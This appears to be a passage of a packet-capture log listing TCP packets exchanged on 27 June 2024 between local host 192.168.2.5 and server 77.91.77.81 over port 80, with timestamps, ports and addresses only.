Jun 27, 2024 19:26:07.950989962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.951009989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.951033115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.951044083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.951061010 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.951078892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.951102972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.951112986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.951126099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.951148987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.951169968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.951184988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.951215982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.951219082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.951242924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.951252937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.951270103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.951287031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.951323986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.951329947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.951329947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.951353073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.951390982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.951396942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.962968111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963049889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963056087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963104010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963128090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963140011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963152885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963174105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963185072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963208914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963223934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963243961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963262081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963279009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963288069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963326931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963349104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963382006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963404894 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963418007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963433027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963452101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963469028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963485003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963511944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963517904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963537931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963553905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963576078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963587999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963604927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963638067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963641882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963675976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963697910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963710070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963730097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963745117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.963763952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.963797092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.976108074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.976139069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.976191044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.976195097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.976226091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.976248980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.976279974 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.976283073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.976317883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.976336002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.976351023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.976378918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.976386070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.976408958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.976433039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.021222115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.021302938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.021310091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.021337986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.021361113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.021388054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.021411896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.021436930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.021437883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.021472931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.021487951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.021506071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.021523952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.021542072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.021558046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.021596909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039112091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039191961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039194107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039309025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039314985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039351940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039388895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039392948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039417982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039424896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039442062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039482117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039484024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039518118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039534092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039555073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039573908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039589882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039607048 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039624929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039644003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039659023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039681911 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039693117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039711952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039742947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039751053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039786100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039804935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039819956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039844036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039855957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039872885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039910078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039911032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039958954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.039964914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.039999962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040019989 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040035009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040051937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040069103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040090084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040103912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040124893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040138960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040160894 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040173054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040186882 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040214062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040239096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040250063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040271997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040301085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040307045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040342093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040360928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040378094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040396929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040411949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040435076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040467024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040468931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040530920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040548086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040566921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040582895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040606976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040621042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040652990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040668964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040687084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040698051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040720940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040735960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040771961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040775061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040810108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040838003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040843010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040854931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040880919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040894985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040911913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040941000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040944099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040960073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.040980101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.040997982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041013956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041040897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041048050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041059971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041081905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041102886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041117907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041131020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041152000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041160107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041188002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041204929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041241884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041275024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041275978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041294098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041313887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041346073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041354895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041378021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041380882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041408062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041415930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041436911 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041450024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041465998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041485071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041496992 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041520119 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041532993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041559935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041564941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041594982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041619062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041630983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041651964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041666985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041687012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041701078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041714907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041734934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041747093 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041769981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041785002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041805029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041816950 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041841984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041858912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041876078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041891098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041910887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041922092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041946888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.041964054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.041982889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.042005062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.042018890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.042042017 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.042052984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.042068005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.042087078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.042104959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.042105913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.042129993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.042160988 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.053507090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.053555965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.053570032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.053585052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.053630114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.053647041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.053657055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.053666115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.053683043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.053714991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.053718090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.053747892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.053749084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.053801060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.053831100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.053847075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.053863049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.053879976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.053929090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.054085970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.054121971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.054143906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.054157019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.054181099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.054204941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.054210901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.054245949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.054260969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.054280043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.054294109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.054315090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.054327965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.054347992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.054367065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.054382086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.054399967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.054416895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.054439068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.054460049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.066663980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.066720963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.066731930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.066756010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.066796064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.066823959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.066843033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.066876888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.066891909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.066910982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.066929102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.066945076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.066965103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.067001104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.111752033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.111809015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.111824989 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.111843109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.111860037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.111887932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.111918926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.111962080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.111969948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.112004042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.112021923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.112037897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.112042904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.112072945 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.112085104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.112121105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.129703999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.129761934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.129769087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.129815102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.129847050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.129868984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.129870892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.129914999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.129924059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.129957914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.129973888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.129992962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.130004883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.130034924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.130045891 CEST	80	49706	77.91.77.81	192.168.2.5
